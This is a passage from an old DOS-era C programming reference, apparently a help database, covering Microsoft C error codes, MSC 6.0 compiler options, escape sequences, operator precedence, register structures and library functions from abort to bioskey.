      C1002 compiler out of heap space in C2.EXE
      C1003 error count exceeded; stopping compilation
      C1004 unexpected end-of-file found; disk full or unmatched #if
      C1005 string too big for buffer
      C1006 compiler intermediate file create/write error
      C1007 invalid option on compiler command line
      C1008 no source file specified
      C1009 macros nested too deeply
      C1010 macro expansion exceeded available space
      C1011 macro definition too large
      C1012 unmatched parenthesis in preprocessor directive
      C1014 nesting of #include's exceed 10-level nesting limit
      C1016 #ifdef & #ifndef directives expect an identifier
      C1018 unexpected #elif;  #elif without #if directive
      C1019 unexpected #else;  #else without #if directive
      C1020 unexpected #endif;  #endif without #if directive
      C1021 invalid preprocessor command
      C1022 expected #endif;  #if directive not terminated by #endif
      C1023 can't open specified source file
      C1024 can't open specified include file
      C1026 parser stack overflow; module too complex
      C1027 DGROUP default data allocation exceeds 64K
      C1028 modules far data segment allocation exceeds 64K (QC)
      C1031 function calls nested too deeply
      C1032 can't open object listing file
      C1033 can't open assembly language output file
      C1035 expression too complex; must be simplified
      C1036 can't open source listing file
      C1037 can't open object file
      C1039 unrecoverable heap overflow in Pass 3 (post-optimizer)
      C1040 unexpected EOF in source file; file disappeared
      C1041 can't open intermediate file; no free file handles
      C1042 can't open intermediate file; invalid TMP environment var
      C1043 can't open intermediate file; unknown error
      C1044 no disk space available for intermediate file
      C1047 compiler option was specified too many times
      C1048 unknown option specified
      C1049 invalid numerical argument
```

```
C1050 code segment too large; within 36 bytes of 64K
C1052 #if/#ifdef nested too deeply;  max of 32 levels
C1053 struct/union nested too deeply; max of 15
C1054 initializers nested too deeply; max from 10 to 15 levels
C1055 out of keys; file has too many symbols
C1056 out of macro expansion space; macro to large/complex
C1057 unexpected EOF in macro expansion or missing ')'
C1059 compiler has run out of near heap space
C1060 compiler has run out of far heap space
C1062 error writing preprocessor output file for /P option
C1063 compiler stack overflow; module too complex
C1064 identifier too long causing token to overflow internal buffer
C1068 can't open file specified file
C1069 file write error on specified file; disk space low
C1070 mismatched #if/#endif pair; missing #endif
C1071 unexpected EOF found in comment; missing end of comment
C1072 can't read indicated file
C1090 data allocation exceeds 64K on _based allocation
C1015 can't open include file (check name, searchpath and FILES=)
C1126 automatic allocation (local variable) exceeds size
C1127 segment redefinition; overwritten by specified segment
```

^Microsoft C Compiler Nonfatal Errors

```
C2015 too many characters in constant; escape sequence too large
C2016 missing closing single quotation mark on code line
C2017 illegal escape sequence; occurred outside of string
C2018 unknown character found in source file
C2019 expected preprocessor directive; # followed by non-directive
C2021 expected exponent value but found non-numeric character
C2022 octal value following '\' is too large for a single character
C2025 given identifier redefines enum, struct or union tag
C2026 given identifier already used as enum constant
C2027 given identifier refers to undefined enum, struct or union
C2028 struct/union member needs to be inside a struct/union
C2030 identifier used more than once in struct or union tag
C2031 function can't be use as struct or union member
C2033 bit field can't be declared as a pointer or use indirection
C2034 type of host bit field is too small for number of bits
C2035 given structure or union has undefined size
C2037 undefined struct or union identifier on left of -> or .
C2038 identifier is not a struct or union member
C2055 expected formal-parameter list instead of argument-type list
C2056 illegal expression; possibly from previous unreported problem
C2057 expected constant expression
C2058 expected integral constant expression
C2059 invalid token caused a syntax error
C2060 syntax error; EOF found before expected token
C2061 identifier caused syntax error
C2062 unexpected type
C2063 identifier is not a function but used as such
C2064 term does not evaluate to a function pointer
C2065 identifier not defined
C2066 illegal cast to function type
C2067 illegal cast to array type
C2068 illegal cast type used in expression
C2069 cast of void term to non-void is invalid
C2070 illegal sizeof operand; must be expression or type name
C2071 illegal storage class for identifier
C2072 attempt to initialize a function identifier
C2092 arrays of functions illegal; use array of ptrs to function
C2093 can't use address of auto variable as static initializer
C2094 label was undefined in function
```

```
C2095 void argument cannot be passed to function; (void *) may
C2096 struct & union comparison is illegal; compare members
C2097 illegal initialization
C2098 expected address as initialization expression
C2099 non-constant initializer
C2100 illegal indirection; * applied to a non-pointer value
C2101 address of operator '&' used on constant; requires lvalue
C2102 address of operator '&' requires lvalue
C2103 address of operator '&' can't be used on a register variable
C2104 address of operator '&' used on bit field not allowed
C2105 operator needs lvalue
C2106 left side of an operation must be lvalue
C2107 subscript applied to expression didn't evaluate to pointer
C2108 non-integral expression used as array subscript
C2109 subscript used on non-array variable
C2127 allocation for function parameters exceeds 32K
C2128 array crosses 2 segments & element size not power of 2
C2129 static function referenced was never defined
C2130 #line expected string containing file name; found other
C2131 more than one memory attribute applied to and identifier
C2132 syntax error : unexpected identifier
C2133 attempt to declare an unsized array as a local variable
C2134 struct or union too large; exceeded 64k
C2136 prototype must have a valid type for each variable
C2137 use of empty character constant '' is illegal
C2139 more than one type used in a variable declaration
C2140 argument can't be a function
C2141 enum constant value out of int range
C2143 expected 'token1' before 'token2' or missing ')', '}' or ';'
C2144 expected 'token' before 'type' or missing ')', '}' or ';'
C2145 expected 'token' before identifier or declaration missing ';'
C2146 expected 'token' before identifier
C2147 increment of index or array pointer with unknown base type
C2162 token following stringizing operator # isn't formal parameter
C2163 function in pragma not available as intrinsic function
C2164 intrinsic function not declared before use wit /Oi option
C2165 _pascal, _cdecl, _???? keywords can't modify pointers to data
C2166 attempt to modify item declared as const; lvalue is constant
C2167 too many parameters in call to an intrinsic function
C2168 too few parameters in call to an intrinsic function
C2169 function definition for function already declared intrinsic
C2170 intrinsic pragma used for function without intrinsic form
C2171 unary operator used on illegal operand type
C2172 non-pointer argument passed to a function expecting pointer
C2173 non-pointer argument passed to a function expecting pointer
C2174 cant pass parameter with void type to function
C2176 static huge data not supported by /qc; use halloc()
C2177 constant too large for data type
C2178 storage class for same_seg pragma variables must be extern
C2179 same_seg pragma variable class has changed from extern
C2207 middle member of struct/union has zero-sized array
C2208 enum, struct or union defined w/o members using /Za option
C2209 type cast used in _based construct must be (_segment)
C2210 base in _based declarator must be near/far data pointer
C2211 item cast in _based declarator can't be a function
C2212 _based not available for functions or pointers to functions
C2213 symbol used as base must be type _segment, near far pointer
C2214 _based pointer based on void can't be de-referenced; use :>
C2215 :> operator only for objects based on void
C2216 given function attributes are incompatible
C2217 function attribute requires another attributes also
C2218 type in _based construct must be void
C2219 const/volatile appeared where type or qualifier not allowed
```

```
C2220 no object file generated; warning treated as error due to /WX
C2221 left operand of '.' is pointer to struct/union, must use '->'
C2222 left operand of '->' is struct or union, must use '.'
C2223 left operand of '->' must be pointer struct or union
C2411 identifier is not a member of the specified struct or union
C2412 identifier redefined within current function
C2413 alignment size used with ALIGN directive missing or invalid
C2414 illegal number of operands in assembly code; see /G1 & /G2
C2415 improper operand type
C2416 illegal opcode for processor in assembly code; see /G1 & /G2
C2417 divisor used within the given context is zero
C2418 in-line asm identifier referenced as register and isn't
C2419 divisor argument to mod is zero in given context
C2420 given identifier is illegal in this context
C2421 PTR must not be used with register operand in this context
C2422 illegal segment override used in given context
C2424 given token used to form improper expression in this context
C2425 token used fto form non-constant expression in this context
C2426 given token is illegal operator in this context
C2427 jump referencing label is out of range
C2429 FAR PTR can't be use on jmp or call to label
```

^Microsoft C Command-Line Errors

```
D2000 unknown CL command line error; contact Microsoft
D2001 too many symbols predefined with /D; max is 30
D2002 memory-model specification conflict; only 1 allowed
D2003 missing source file name for CL command
D2008 option specified too many times
D2011 more than one /FP option specified; only 1 allowed
D2012 too many linker flags in command; max of 128 flags/files
D2013 incomplete model specification in /A:
D2018 can't open linker response file
D2019 can't overwrite source with object file; output = input
D2020 /Gc requires extended keywords be enabled via /Ze
D2021 invalid numerical argument; numeric args must be < 65534
D2022 can't open help file for /HELP
D2027 CL could not execute one of the compiler components
D2028 too many open files; can't dup/redirect specified stream
D2030 internal compiler component error; contact Microsoft
D2031 too many flags/files in command; max of 128 arguments to CL
```

^Microsoft C Command-Line Warning

```
D4000 unknown command line warning in CL; contact Microsoft
D4001 listing overrides assembly output; /Fc and /Fa used together
D4002 unknown flag ignored by CL command
D4003 multiple processors selected for code generation
D4005 CL could not locate compiler component
D4007 /C must be used in conjunction with /P or /E or /EP
D4009 threshold valid for far/huge data models only; /Gt ignored
D4011 preprocessor listing specified; source listing not generated
D4012 function prototyping specified; source listing not generated
D4013 combined listing /Fc overrides object listing /Fl
D4014 invalid value for option; default value used
D4018 .DEF files supported in OS/2 only (/Lr /Lc)
D4019 string too long for /ND, /NT, /NM, /St, /Ss option of CL
```

^Microsoft Link Errors (incomplete list)

```
L2002 fixup overflow (probably incompatible memory models .OBJs)
```

^Microsoft C Floating-Point Math Errors

```
      M6101 invalid operation occurred; usually NAN or infinity problem
      M6102 denormal; significance loss with very small generated number
      M6103 attempt to divide by zero in floating-point operation
      M6104 overflow in floating-point operation
      M6105 underflow occurred in floating-point operation
      M6106 inexact; loss of precision occurred in FP operation
      M6107 unemulated/unsupported 8087/287/387 instruction executed
      M6108 square root operand somehow became negative; C won't allow
      M6110 coprocessor or emulator stack overflow
      M6111 stack underflow due to unretrieved double return values

^Microsoft C Run-Time Errors

      R6000 stack overflow; stack needs enlarged or problem program
      R6001 null pointer assignment, NULL segment modified
      R6002 floating-point support not linked into executable
      R6005 not enough memory to load child process (EXEC)
      R6006 target executable is not a valid executable (EXEC)
      R6007 invalid environment on exec of child process (EXEC)
      R6008 not enough space for argument vector after program loads
      R6009 not enough space for environment after program loads
      R6010 abnormal program termination
      R6012 illegal null near-pointer use
      R6013 illegal out of range far-pointer use
      R6016 not enough space for thread data
      R6017 unexpected multithread lock error

:cl:MSC options
^Microsoft C Options (v6.0)

%     CL [options] [filenames] [libraries link-options]

      /AT     Tiny Memory Model; combined code and data limited to 64K
      /AS     Small Memory Model; code and data limited to 64K each
      /AM     Medium Memory Model; data is limited to 64K
      /AC     Compact Memory Model; code is limited to 64K
      /AL     Large Memory Model; unlimited code and data but arrays
              are limited to 64K
      /AH     Huge Memory Model; unlimited code, data and array size
      /Astring  where string is compose of the following:

%             Code Pointer Control
              s   all code pointers are near
              l   all code pointers are far

%             Data Pointer Control
              n   all data pointers are near
              f   all data pointer are far
              h   all data pointers are huge

%             Segment Setup Control
              d   stack segment (SS) defaults to data segment (DS)
              u   stack segment (SS) is not equal to data segment (DS);
                  DS is loaded on function entry
              w   stack segment (SS) is not equal to data segment (DS);
                  DS is NOT loaded on function entry

      /B1[path] used to invoke the large version of the compiler C1L.EXE;
              normally used when the compiler runs out of heap space
      /B2     invokes large compiler version pass 2
      /B3     invokes large compiler version pass 3
      /C      preserves file comments when preprocessing a file
```

```
/c      do not link, create .OBJ file only
/D<string> defines string as a preprocessor constant.  If string is
        of the form "ID=xxx" then "ID" represents the value "xxx"
        If no equals sign is present, "ID" has the value 0.If
        an equals sign is present without a value, ID has the
        value 1.
/E      output from preprocessor is written to stdout with
        interspersed #line directives.
/EP     output from preprocessor is written to stdout without,
        adding #line directives.
/F<size>  sets stack to <size> bytes.  Size must be hexadecimal.
/Fa[file] generate assembly listing.  Filename defaults to source
        file with .ASM extension.
/Fb<file> creates bound executable.  Should be used only with /Lp.
/Fc[file] generates combined assembly/source listing.The filename
        defaults to the source file name with the .COD extension.
/Fe<file> creates the executable with specified name
/Fl[file] generates object code listing.   Default file name is the
        source file name with a .COD extension.
/Fm[file] generate a link MAP file.  Default file name is the source
        file name with the extension .MAP.
/Fo<file> generate and object file using the name <file>.
/FPa    generates floating point calls and selects the alternate
        math library.
/FPc    generates floating point calls and selects the emulation
        library.
/FPc87        generates floating point calls and selects the 80x87
        library.
/FPi    generates inline 80x87 instructions and selects the 80x87
        library.  Default floating point option.
/FPi87        generates floating point calls and selects the 80x87
        library.
/Fr[file] generates a standard PWB Source Browser Database.  The
        default name is the source file with the .SBR extension.
/FR[file] generates a standard PWB Source Browser Database.  The
        default name is the source file with the .SBR extension.
/Fs     generate a source file listing with .LST extension.
/Fx     generate a cross reference listing with .CRF extension.
/G0     generate code using 8088/8086 instruction set
/G1     generate code using 80188/80186 instruction set
/G2     generate code using 80286 instruction set
/Gc     generate code using FORTRAN/PASCAL calling and naming
        conventions
/Gd     generate code using standard C calling and naming
        conventions (default)
/Ge     generate code using stack checking routines (default)
/Gi     incremental compile if used with /qc; only functions that
        have changed are compiled;  implies /Li option
/Gm     strings are generated in the CONST segment
/Gr     _fastcall functions are enabled.   Parameters can be
        passed via registers instead of on the stack
/Gs     suppress generation of stack checking code
/Gt[num]  places data items larger than "num" bytes into different
        segments. The default value for "num is 256 bytes.
/Gw     generate Windows functions entry/exit code
/GW     generates more efficient Windows functions entry/exit
        code.  Use /Gw for callback routines.
/H<num>   external name length restriction (default 31)
/HELP   calls QuickHelp utility.  /help is also valid.
/I<path>  inserts <path> in front of current include search path
/J      all chars should be unsigned (default is signed)
/Lc     linker is to generate compatibility mode programs.
/Li[num]  incremental link using ILINK instead of LINK.  Results
```

```
        in larger EXE size.
/Lp     linker is to generate protected mode executable.
/Lr     linker is to create real mode executable.
/link <info> passes library names in <info> to LINK
/MA<opt>  passes <opt> to MASM if .ASM files found on command line
/MD     creates Dynamic Link Library for OS/2;  The same as:
        /ALw /FPi /G2 /DDLL /DMT.   No library search record is defined
/ML     links the C run-time library as part of the Dynamic Link
        Library.  The library search record is set to LLIBCDLL.LIB.

/MT     enable multithread program support in OS/2
/ND<dseg> set data segment name to <dseg>
/NM<name> set module name to <name>
/nologo   suppress sign-on banner display
/NT<name> set code segment name to <name>
/O[opts]  where "opts" is a string containing the following:

      a   relax alias checking
      c   enable block level local common expressions
      d   disable all optimizations
      e   enable global register optimization
      g   enable global optimizations and global common
          expressions
      i   enable generation of intrinsic functions
      l   enable loop optimization
      n   disable unsafe loop optimization (default)
      p   improve consistency in floating-point calculations
      r   disable inline returns from functions
      s   optimize for size
      t   optimize for speed (default)
      w   assume no aliasing except across function calls
      x   maximize optimization (/Ocegilt/Gs)
      z   enable maximum loop and global-register allocation
          optimization

/P       preprocess source generating .I intermediate file
/qc      quick compile option.  Incompatible with the following
         options: /Fa /Fc /Fl /FPa /FPc /FPc87 /Fs /Gm /H /Ow /Zc
/Sl<wid>   set listing file line width to <wid> (79-132, default 79)
/Sp<len>   set page length  (15-255, default 63)
/Ss<stitle> set source listing subtitle
/St<title> set source listing title
/Ta<file>  <file> is to be treated as an assembler source file
         regardless of the file extension
/Tc<file>  <file> is to be treated as an C source file regardless
         of the file extension
/u       undefines all predefined indentifiers
/U<id>         undefines <id> predefined indentifier
/V<ver>    version string <ver> is copied to the .OBJ file
/w       suppress compiler warnings (same as /W0)
/W0      suppress compiler warnings
/W<n>    warning level (1..4) 1=fewer, 4=more warnings (default 1)
/WX      all warnings should be treated as fatal
/X       ignore standard places in include path search
/Za      disables Microsoft language extensions insuring ANSI
         code compatibility
/Zc      pascal functions are to be case insensitive
/Zd      generate line number information for debuggers
/Ze      enable Microsoft C language extensions
/Zg      generate function prototypes and display via stdout
         without compiling.
/Zi      generate symbolic debugging information
/Zl      suppress library search record generation
```

```
      /Zp1     structures are not to be packed (Turbo C default)
      /Zp2     pack structure on word boundaries
      /Zp4     pack structure on dword boundary
      /Zr      generate code to check null pointers and out of range
               far pointers
      /Zs<file>  perform syntax check only

%     Environment Variables

      CL       default input files and command line options
      INCLUDE    paths to search for include files (separated by ";")
      LIB      paths to search for library files (separated by ";")
      LINK     command line options for link
      TMP      path where temporary files are created
:C escape sequences
^C Escape Sequences

                  \a    Bell
                  \b    Backspace
                  \f    Form feed
                  \n    Line feed
                  \r    Carriage return
                  \t    Horizontal tab
                  \v    Vertical tab
                  \'    Single quote
                  \"    Double quote
                  \\    Backslash
                  \0    NULL character
                  \7    Bell
                  \ddd  Octal value
                  \xddd Hexadecimal value

:C operators:operator precedence
^C Operators

%     Operation       C Operator         Associativity

      Array             []          ( ÄÄ  )
      Function          ()          ( ÄÄ  )
      Member                  ->          ( ÄÄ  )
      Member                  .           ( ÄÄ  )

      Unary minus       -           (  ÄÄ )
      Unary plus        +           (  ÄÄ )
      Logical NOT       !           (  ÄÄ )
      Bitwise compliment      ~~          (  ÄÄ )
      Address of        &           (  ÄÄ )
      Indirection       *           (  ÄÄ )
      Sizeof                  sizeof            (  ÄÄ )
      Increment         ++          (  ÄÄ )
      Decrement         --          (  ÄÄ )
      Cast              (type)            (  ÄÄ )

      Multiplication          *           ( ÄÄ  )
      Division          /           ( ÄÄ  )
      Modulus           %           ( ÄÄ  )

      Addition          +           ( ÄÄ  )
      Subtraction       -           ( ÄÄ  )

      Shift right       >>          ( ÄÄ  )
      Shift left        <<          ( ÄÄ  )
```

```
      Greater than            >           ( ÄÄ  )
      Greater or equal  >=          ( ÄÄ  )
      Less than         <           ( ÄÄ  )
      Less or equal           <=          ( ÄÄ  )

      Equal             ==          ( ÄÄ  )
      Not equal         !=          ( ÄÄ  )

      Bitwise AND       &           ( ÄÄ  )

      Bitwise XOR       ^           ( ÄÄ  )

      Bitwise OR        |           ( ÄÄ  )

      Logical AND       &&          ( ÄÄ  )

      Logical OR        ||          ( ÄÄ  )

      Conditional       ?:          (  ÄÄ )

      Simple assignment =           (  ÄÄ )
      Addition assignment     +=          (  ÄÄ )
      Subtraction assignment  -=          (  ÄÄ )
      Multiplication assign   *=          (  ÄÄ )
      Division assignment     \=          (  ÄÄ )
      Modulus assignment      %=          (  ÄÄ )
      Left shift assignment   <<=         (  ÄÄ )
      Right shift assignment  >>=         (  ÄÄ )
      Bitwise XOR assignment  ^=          (  ÄÄ )
      Bitwise AND assignment  &=          (  ÄÄ )
      Bitwise OR assignment   |=          (  ÄÄ )
      Compliment assignment   ~~=         (  ÄÄ )

      Sequence operator ,           ( ÄÄ  )


      - all operations grouped together have the same precedence
:regs:byteregs:wordregs:sregs:regpack
^Register Structures for Turbo C and MS C

%           Turbo C                 MS C

%     struct WORDREGS         struct WORDREGS
         {                        {
         unsigned int ax;              unsigned int ax;
         unsigned int bx;              unsigned int bx;
         unsigned int cx;              unsigned int cx;
         unsigned int dx;              unsigned int dx;
         unsigned int si;              unsigned int si;
         unsigned int di;              unsigned int di;
         unsigned int cflag;           unsigned int cflag;
         unsigned int flags;           };
         };

%     struct BYTEREGS
         {
         unsigned char al;
         unsigned char ah;
         unsigned char bl;
         unsigned char bh;           Ä  same as Turbo C
         unsigned char cl;
         unsigned char ch;
         unsigned char dl;
```

```
         unsigned char dh;
         };

%     union REGS
         {
         struct   WORDREGS x;        Ä  same as Turbo C
         struct   BYTEREGS h;
         };

%     struct SREGS
         {
         unsigned int es;
         unsigned int cs;            Ä  same as Turbo C
         unsigned int ss;
         unsigned int ds;
         };

%     struct REGPACK
         {
         unsigned r_ax;
         unsigned r_bx;
         unsigned r_cx;
         unsigned r_dx;
         unsigned r_bp;       Turbo C only
         unsigned r_si;
         unsigned r_di;
         unsigned r_ds;
         unsigned r_es;
         unsigned r_flags;
         };

:abort
^void abort( void )


      - prototype in stdlib.h & process.h

      - terminates a process & calls exit(3)

:abs
^int abs( int n )


      - prototype in stdlib.h

      - returns the absolute value of int n

:absread
^TC: int absread( int drive, int count, int start, void *buffer )


      - prototype in dos.h

      - reads absolute logical disk sectors
      - drive = (0=A:, 1=B:, 2=C:, ...)
      - count = # of sectors to read
      - start = beginning logical sector number
      - buffer = address of buffer
      - TC++ accounts for DOS 4.x+ long sector values while TC 2.0 and
        earlier do not (see ~INT 25~)
      - returns 0 if OK; -1 on error; errno has DOS error number
:abswrite
^TC: int abswrite( int drive, int sectors, int start, void *buffer )
```

```
      - prototype in dos.h

      - writes absolute logical disk sectors
      - drive =  (0=A:, 1=B:, 2=C:, ...)
      - sectors = # of sectors to write
      - start = beginning logical sector number
      - buffer = address of buffer
      - TC++ accounts for DOS 4.x+ long sector values while TC 2.0 and
        earlier do not (see ~INT 25~)
      - returns 0 if OK; -1 on error; errno has DOS error number
:access
^int access( const char *filename, int amode )


      - prototype in io.h

      - checks filename for existence & R/W access

      - amode = 06 -- check for R/W permission
              04 -- check for R
              02 -- check for W
              01 -- execute (ignored)
              00 -- check if filename exists

      - filename can be directory
      - returns 0 if OK
             -1 on error
                errno = ENOENT if path or filename not found
                errno = EACCES if permission denied

:acos
^double acos( double x )


      - prototype in math.h

      - returns arc cosine of x
      - values must be in range -1 to 1

:alloca
^MSC: void *alloca( size_t size )


      - prototype in malloc.h

      - allocates size bytes for the application stack
      - memory is automatically freed upon exiting the calling function
      - this function cannot be used as a parameter to another function
        or stack corruption will occur
      - the pointer returned CANNOT be passed as an argument to free()
        since it isn't allocated from DOS
      - see ~stackavail~
:allocmem
^TC: int allocmem( unsigned size, unsigned *seg )


      - prototype in dos.h

      - allocates memory in size paragraphs, where seg is pointer to
        a word containing segment address
      - returns -1 if ok, else largest available memory in paragraphs
```

```
      - MS C uses _dos_allocmem
      - see  ~INT 21,48~
:asctime
^char *asctime( const struct tm *tm )


      - prototype in time.h

      - converts time in struct tm to 26-character ASCII string
      - returns a pointer to the ASCII string

:asin
^double asin( double x )


      - prototype in math.h

      - returns arc sine of x
      - values must be in range -1 to 1

:assert
^void assert( int test )


      - prototype in assert.h

      - if test fails, prints error message & aborts program
      - test can be a condition

:atan
^double atan( double x )


      - prototype in math.h

      - returns arc tangent of x

:atan2
^double tan( double y, double x )


      - prototype in math.h

      - returns arc tangent of x*2
      - used instead of atan when the resulting angle is near
        pi/2 or -pi/2

:atexit
^int atexit( void func )


      - prototype in stdlib.h

      - func is defined as void (*func)(void)
      - calls func() before exiting to DOS
      - up to 32 functions can be called (if 32 atexit calls registered)
      - should be located in main & executed before anything else
      - returns 0 if OK, else nonzero if no space to register function

:atof
^double atof( const char *s )
```

```
      - prototype in math.h & stdlib.h

      - converts ASCII string to double value

:atoi
^int atoi( const char *s )


      - prototype in stdlib.h

      - converts ASCII string to integer value

:atol
^long atol( const char *s )


      - prototype in stdlib.h

      - converts ASCII string to long value

:bdos
^int bdos( int dosfun, unsigned dosdx, unsigned dosal )


      - prototype in dos.h

      - make DOS system call for function dosfun, passing DX and AL
        values via dosdx and dosal
      - use only in small memory model
      - unique to DOS
      - returns value of AX set by system call

:bdosptr
^TC: int bdosptr( int dosfun, void *argument, unsigned dosal )


      - prototype in dos.h

      - make DOS system call for function dosfun, passing POINTER
        to values via argument and passing AL via dosal
      - use for small or large memory models
      - returns value of AX set by system call, else -1 on failure
        (where errno & _doserrno are then set)

:_bfree:_ffree:_nfree
%       MSC: void _bfree( _segment seg, void _based(void) *block )
%       MSC: void _ffree( void far *block )
%       MSC: void _nfree( void near *block )


      - prototype in malloc.h

      - block = previously allocated buffer
      - in large data memory models free() maps to _ffree()
      - in small data memory models free() maps to _nfree()
      - NULL pointer parameter is ignored

:_bios_disk
^MSC: unsigned _bios_disk(unsigned cmd,struct diskinfo_t *dskinfo)


      - prototype in bios.h
```

```
      - cmd = _DISK_RESET     resets disk system  (INT 13,0)
            = _DISK_STATUS    return disk status  (INT 13,1)
            = _DISK_READ      read disk sectors  (INT 13,2)
            = _DISK_WRITE     write disk sectors  (INT 13,3)
            = _DISK_VERIFY    verify disk sectors  (INT 13,4)
            = _DISK_FORMAT    format disk track  (INT 13,5)

      - dskinfo = pointer to structure containing disk information:

      struct diskinfo_t
         {
         unsigned drive;            - physical drive number
         unsigned head;       - head number
         unsigned track;            - track number
         unsigned sector;           - sector number
         unsigned nsectors;         - sectors to deal with
         void _far *buffer;         - data buffer
         };

      - returns status of operation (AX register, AH contains status)
      - drive numbers represent physical drives (0 = A:, 1 = B:,
        80h = drive 0, 81h = drive 1
      - disk reads should be retried at least 3 times
      - Turbo C uses ~biosdisk~()

      - see  ~INT 13~
:_bios_equiplist
^MSC: unsigned _bios_equiplist( void )


      - prototype in bios.h

      - returns flags found in BIOS data area at 40:10 & 40:11
      - Turbo C uses ~biosequip~()
      - see  ~INT 11~
:_bios_keybrd
^MSC: int _bios_keybrd( int cmd )


      - prototype in bios.h

      - cmd = _KEYBRD_READ    return next keystroke w/o echo (INT 16,0)
            = _KEYBRD_READY   test if key avail; 0=none  (INT 16,1)
            = _KEYBRD_SHIFTSTATUS  return shift key status (INT 16,2)
            = _NKEYBRD_READ   return next keystroke w/o echo (INT 16,10)
            = _NKEYBRD_READY  test if key avail; 0=none  (INT 16,11)
            = _NKEYBRD_SHIFTSTATUS return shift key status (INT 16,12)

      - AND returned value with 0x00FF to get ASCII value
      - _NKEYBRD_READ, _NKEYBRD_READY, _NKEYBRD_SHIFTSTATUS are available
        on AT and newer machines only
      - Turbo C uses ~bioskey~()
      - see  ~INT 16~
:_bios_memsize
^MSC: unsigned _bios_memsize( void )


      - prototype in bios.h

      - returns memory size in 1K blocks (16..640K)
      - Turbo C uses ~biosmemory~()
      - see  ~INT 12~
:_bios_printer
```

```
%     unsigned _bios_printer(unsigned cmd,unsigned port,unsigned data)


      - prototype in bios.h

      - cmd       = _PRINTER_WRITE   print character  (INT 17,0)
            = _PRINTER_INIT      initialize printer port  (INT 17,1)
            = _PRINTER_STATUS  read port status  (INT 17,2)
      - port      = printer port;   0=LPT1, 1=LPT2
      - data      = value to write

      - returns status of printer (INT 17, AX reg, AH contains status)
      - Turbo C uses ~biosprint~()
      - see  ~INT 17~
:_bios_serialcom
^MSC: unsigned _bios_serialcom(unsigned cmd,unsigned port,unsigned fmt)

      - prototype in bios.h

      - cmd = _COM_INIT initialize port  (INT 14,0)
            = _COM_SEND send character  (INT 14,1)
            = _COM_RECEIVE    read character from port  (INT 14,2)
            = _COM_STATUS     get serial port status  (INT 14,3)

      - fmt = combination of the following:
            _COM_CHR7   _COM_CHR8
            _COM_STOP1  _COM_STOP2

            _COM_NOPARITY     _COM_EVENPARITY      _COM_ODDPARITY

            _COM_110    _COM_150       _COM_300
            _COM_600    _COM_1200      _COM_2400
            _COM_4800   _COM_9600

      - returns status word (INT 14, AX reg, modem status in AL,
        port status in AH)
      - Turbo C uses ~bioscomm~()
      - see  ~INT 14~
:_bios_timeofday
^MSC: unsigned _bios_timeofday( unsigned cmd, long *timeval )


      - prototype in bios.h

      - cmd = _TIME_GETCLOCK  get real time clock  (INT 1A,0)
            = _TIME_SETCLOCK  set real time clock  (INT 1A,1)

      - returns current BIOS clock count
      - Turbo C uses ~biostime~()
      - see  ~INT 1A~
:bioscom
^TC: int bioscom( int cmd, char byte, int port )

      - prototype in bios.h

      - RS232 communications

      - cmd = 0 to set comm parms to value in byte
            1 to send char in byte out on RS232 line
            2 to receive char
            3 to return current port status

      - port = 0 for COM1
```

```
		1 for COM2
		2 for COM3
		3 for COM4

	- byte = bitwise OR of following bits
		0x02 = 7 data bits    0x00 = 1 stop bit
		0x03 = 8 data bits    0x04 = 2 stop bits
		0x00 == no parity;
		0x08 == odd parity;
		0x18 == even parity

		0x00   110 bps   0x20   150 bps
		0x40   300 bps   0x60   600 bps
		0x80   1200 bps  0xa0   2400 bps
		0xc0   4800 bps  0xe0   9600 bps

	- returns 16-bit integer, upper 8 bits are status & lower 8 bits
	  depending on cmd sent


	³7³6³5³4³3³2³1³0³  low byte (AL)  modem status
	 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ delta clear to send
	 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ delta data set ready
	 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ trailing edge ring detector
	 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ delta receive line signal detect
	 ³ ³ ³ ÀÄÄÄÄÄÄÄÄ clear to send
	 ³ ³ ÀÄÄÄÄÄÄÄÄÄ data set ready
	 ³ ÀÄÄÄÄÄÄÄÄÄÄ ring indicator
	 ÀÄÄÄÄÄÄÄÄÄÄÄ receive line signal detect

	³F³E³D³C³B³A³9³8³  high byte (AH)  line status
	 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ data ready
	 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ overrun error
	 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ parity error
	 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ framing error
	 ³ ³ ³ ÀÄÄÄÄÄÄÄÄ break detect
	 ³ ³ ÀÄÄÄÄÄÄÄÄÄ transmit holding register empty
	 ³ ÀÄÄÄÄÄÄÄÄÄÄ transmit shift register empty
	 ÀÄÄÄÄÄÄÄÄÄÄÄ time out

	- MS C uses ~_bios_serialcomm~()
	- see  ~INT 14~

:biosdisk
%	TC: int biosdisk( int cmd, int drive, int head, int track,
%			  int sector, int nsects, void *buffer )

	- prototype in bios.h

	- issues interrupt 0x13 for BIOS disk operations
	- drive = (0=A:, 1=2nd floppy, 0x80=drive 0, 0x81=drive 1
	- cmd = 0  reset diskette system (hard disk drive reset)
	      1  return status of last disk operation, ignore parms
	      2  read nsects disk sectors, with starting sector
	         defined by head, track, & sector, reading 512 bytes
	         per sector into buffer
	      3  write nsects disk sectors, with starting sector
	         defined by head, track, & sector, writing 512 bytes
	         per sector from buffer
	      4  verify nsects disk sectors, with starting sector
	         defined by head, track, & sector
	      5  format a track defined by head & track, where buffer
	         points to a table of sector headers to be written
```

```
        For XT or AT only:

           6 - formats a track & sets bad sector flags
           7 - formats drive beginning at specific track
           8 - returns current drive parms in 1rst 4 bytes of buffer
           9 - initializes drive-pair characteristics
          10 - long read (4 extra bytes per sector for ECC)
          11 - long write (4 extra bytes per sector for ECC)
          12 - disk seek
          13 - alternate disk reset
          14 - reads sector buffer
          15 - writes sector buffer
          16 - tests if named drive is ready
          17 - recalibrates drive
          18 - controller ram diagnostic
          19 - drive diagnostic
          20 - controller internal diagnostic

      - drive numbers represent physical drives (0 = A:, 1 = B:,
        80h = drive 0, 81h = drive 1
      - disk reads should be retried at least 3 times
      - MS C uses ~_bios_disk~()
      - see  ~INT 13~  for more return codes and more information
:biosequip
^TC: int biosequip( void )


      - prototype in bios.h

      - returns integer showing equipment in system
      - MS C uses ~_bios_equiplist~()
      - see  ~INT 11~  or  ~EQUIPMENT FLAGS~   for bit meanings
:bioskey
^TC: int bioskey( int cmd )


      - prototype in bios.h

      - keyboard operations
